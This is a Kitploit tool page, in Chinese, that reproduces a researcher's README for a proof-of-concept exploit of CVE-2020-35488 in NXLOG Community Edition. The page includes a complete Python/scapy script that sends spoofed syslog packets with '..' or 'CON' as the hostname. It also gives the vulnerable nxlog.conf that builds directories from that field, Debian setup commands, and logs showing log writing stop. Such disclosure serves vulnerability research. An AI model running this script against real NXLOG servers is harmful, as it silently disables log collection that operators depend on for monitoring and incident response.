Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-35488 — 针对 CVE-2020-35488 的概念验证漏洞利用程序,该漏洞是 NXLOG Community Edition 中的一个拒绝服务漏洞,通过精心构造的 syslog 负载导致目录创建失败。 | Kitploit
工具/GitHubGitHub/guillaumepetit84/cve-2020-35488
漏洞分析漏洞利用渗透测试日志分析
GitHubguillaumepetit84/cve-2020-35488

CVE-2020-35488

针对 CVE-2020-35488 的概念验证漏洞利用程序,该漏洞是 NXLOG Community Edition 中的一个拒绝服务漏洞,通过精心构造的 syslog 负载导致目录创建失败。

查看仓库
195年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

我发现了产品中的一个漏洞:nxlog-ce_2.10.2150。 我只在 Linux (Debian 10) 和 Windows (Windows Server 2016) 上测试了我的 PoC。


1 描述:

范围 : NXLOG 社区版 2.10.2150

漏洞类型 : CWE-502,不可信数据的反序列化 https://cwe.mitre.org/data/definitions/502.html

脆弱部分 : Syslog 负载

负载 :

  • Unix: Sep 14 14:09:09 .. dhcp service[warning] 110 Silence is golden
  • Windows: Sep 14 14:09:09 CON dhcp service[warning] 110 Silence is golden

我的 CVSS 计算:

攻击向量 : 网络

所需权限 : 无

范围 : 未改变

完整性 : 无

攻击复杂度 : 低

用户交互 : 无

机密性 : 无

可用性 : 高


CVSS 分数 : 7.5

严重性 : 高


来自 NIST 的 CVSS 计算: 链接:https://nvd.nist.gov/vuln/detail/CVE-2020-35488

攻击向量 :

所需权限 :

范围 :

完整性 :

攻击复杂度 :

用户交互 :

机密性 :

可用性 :


CVSS 分数 (3.X) : 7.5

严重性 : 高


2 利用:

此漏洞可导致 NXLOG 服务器拒绝服务(DoS)。

但服务器需要特定配置:nxlog 配置文件必须定义一个目录,其名称来自 Syslog 负载中的某个字段。

Syslog 字段: https://nxlog.co/documentation/nxlog-user-guide/xm_syslog.html#xm_syslog_fields

软件尝试创建目录,但该目录的名称在文件系统上无法创建。

因为此目录名称是被禁止的。

以下是无法创建的目录名称示例:

  • Windows: CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8 和 LPT9;
  • Linux: ..、.

因此,如果配置文件定义使用 Syslog 负载中的内容作为目录名称,攻击者可以使 Nxlog 服务停止运行。


3 PoC:

为了利用此漏洞,我编写了一个 Python 脚本:

#!/usr/bin/python3
# coding: utf8
# Nooooooooooo I'm not a script kiddie I hack syslog :D
# g0 h4ck SYSLOG
# Made by 123soleil with <3

import sys
import time
import argparse
from scapy.all import *

def getPayload(args):
        # IF UNIX
        if (args.OS == 1):
                return "Sep 14 14:09:09 .. dhcp service[warning] 110 Silence is golden"
        # IF WINDOWS
        elif (args.OS == 2):
                return "Sep 14 14:09:09 CON dhcp service[warning] 110 Silence is golden"

        # Test
        elif (args.OS == 3):
                return "Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden"

def runExploit(args,payload):
        priority = 30
        message = payload
        syslog = IP(src="192.168.1.10",dst=args.IP)/UDP(sport=666,dport=args.PORT)/Raw(load="<" + str(priority) + ">" + message)
        send(syslog,verbose=args.DEBUG)

def getArguments():
        parser = argparse.ArgumentParser(description="Go h@ck SYSLOG")
        parser.add_argument("-ip", "-IP", dest="IP", type=str, metavar="IP destination", required=True,default=1, help="IP of NXLOG server")
        parser.add_argument("-p", "-P", dest="PORT", type=int, metavar="Port destination", required=False,default=514, help="Port of NXLOG default 514")
        parser.add_argument("-os", "-OS", dest="OS", type=int, metavar="OS", default=1, required=True, help="1 : For unix payload \n 2 : For Windows Paylaod \n 3 : Just for test")
        parser.add_argument("-d", "-D", dest="DEBUG", type=int, metavar="DEBUG", default=0, required=False, help="1 : Debbug enable")
        return parser.parse_args()

def main():
        args = getArguments()
        payload = getPayload(args)
        runExploit(args,payload)
main()

2.1 Linux:

2.1.1 安装:

在 Debian 10 上安装 Nxlog 服务:

apt-get install libapr1 libdbi1 libssl1.1 multiarch-support

cd /tmp
wget http://ftp.de.debian.org/debian/pool/main/p/perl/libperl5.24_5.24.1-3+deb9u7_amd64.deb
wget http://security.debian.org/debian-security/pool/updates/main/o/openssl1.0/libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/g/glibc/libc-bin_2.28-10_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/m/man-db/man-db_2.8.5-2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/p/perl/perl-modules-5.24_5.24.1-3+deb9u7_all.deb
wget http://cz.archive.ubuntu.com/ubuntu/pool/main/g/gdbm/libgdbm3_1.8.3-13.1_amd64.deb
wget https://nxlog.co/system/files/products/files/348/nxlog-ce_2.10.2150_debian_stretch_amd64.deb

dpkg -i libc-bin_2.28-10_amd64.deb
dpkg -i libgdbm3_1.8.3-13.1_amd64.deb
dpkg -i perl-modules-5.24_5.24.1-3+deb9u7_all.deb
dpkg -i libperl5.24_5.24.1-3+deb9u7_amd64.deb
dpkg -i libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
dpkg -i man-db_2.8.5-2_amd64.deb
dpkg -i nxlog-ce_2.10.2150_debian_stretch_amd64.deb

nxlog 服务的配置文件:

cat /etc/nxlog/nxlog.conf
########################################
# Global directives                    #
########################################
User nxlog
Group nxlog

LogFile /var/log/nxlog/nxlog.log

########################################
# Modules                              #
########################################
<Extension _syslog>
    Module      xm_syslog
</Extension>

<Extension _exec>
    Module      xm_exec
</Extension>

<Extension _fileop>
    Module      xm_fileop
</Extension>

<Input udp>
    Module      im_udp
    Host        0.0.0.0
    Port        514
    Exec        parse_syslog_bsd();
</Input>

<Output file>
    Module      om_file
    CreateDir   True
    File        "/var/log/nxlog/"+ $Hostname +"/"+ $Hostname +".log"
</Output>

########################################
# Routes                               #
########################################
<Route syslog_to_file>
    Path        udp => file
    Priority    1
</Route>

启动 Nxlog 服务:

systemctl start nxlog
systemctl status nxlog

返回:

● nxlog.service - LSB: logging daemon
   Loaded: loaded (/etc/init.d/nxlog; generated)
   Active: active (running) since Sun 2020-11-29 17:58:48 CET; 3min 1s ago
     Docs: man:systemd-sysv-generator(8)
    Tasks: 7 (limit: 2330)
   Memory: 1.7M
   CGroup: /system.slice/nxlog.service
           └─1323 /usr/bin/nxlog

nov. 29 17:58:47 DEB-TEST systemd[1]: Starting LSB: logging daemon...
nov. 29 17:58:48 DEB-TEST nxlog[1312]: Starting nxlog daemon...nxlog started!
nov. 29 17:58:48 DEB-TEST nxlog[1312]: .
nov. 29 17:58:48 DEB-TEST systemd[1]: Started LSB: logging daemon.

检查:

lsof -i :514

返回:

nxlog   1323 nxlog   18u  IPv4  21321      0t0  UDP localhost:syslog
nxlog   1323 nxlog   19u  IPv4  21324      0t0  TCP localhost:shell (LISTEN)

好了,非常好!


2.1.2 测试:

使用我的 Python 脚本,我可以发送一条 Syslog 消息,测试 Nxlog 服务是否创建目录。

目录名称基于 Syslog 负载中的 HOSTNAME 字段(参见配置文件)。

因此:

./syslog-exploit.py -ip 192.168.1.55 -os 3

第三个选项指定 Syslog 负载中的主机名为 123soleil。

因此:

ls /var/log/nxlog
123soleil  nxlog.log

cat /var/log/nxlog/123soleil/123soleil.log
<30>Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden

好的,Nxlog 服务器和 Syslog 客户端工作正常!


2.1.3 利用:

现在,如果我指定一个被禁止的名称作为主机名:

./syslog-exploit.py -ip 192.168.1.55 -os 1

在 Nxlog 内部日志中:

cat /var/log/nxlog/nxlog.log

返回:

2020-11-29 18:11:04 INFO nxlog-ce-2.10.2150 started
2020-11-29 18:15:12 ERROR failed to open /var/log/nxlog/../...log;Permission denied

所有由 Syslog 客户端发送的新日志将不再写入文件系统。

因为 nxlog 服务陷入未知状态,因为它试图创建一个无法创建的目录。

举例说明,如果我尝试向服务器发送新的 Syslog 负载,在内部日志中会出现以下日志:

2020-11-29 18:11:04 INFO nxlog-ce-2.10.2150 started
2020-11-29 18:15:12 ERROR failed to open /var/log/nxlog/../...log;Permission denied
2020-11-29 18:18:38 ERROR last message repeated 3 times

我已经使用所有可用方法测试过此利用:

  • parse_syslog();
  • parse_syslog_bsd();
  • parse_syslog_ietf();

所有方法均成功利用!

来源:

  • https://nxlog.co/documentation/nxlog-user-guide/xm_syslog.html#xm_syslog_proc_parse_syslog,
  • RFC 3164
  • RFC 5424

下载工具